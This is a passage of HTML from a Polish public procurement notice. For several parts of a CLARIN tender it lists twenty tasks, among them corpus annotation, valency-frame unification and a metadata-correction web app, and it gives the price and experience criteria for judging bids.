1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 17</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 18</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 19</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa 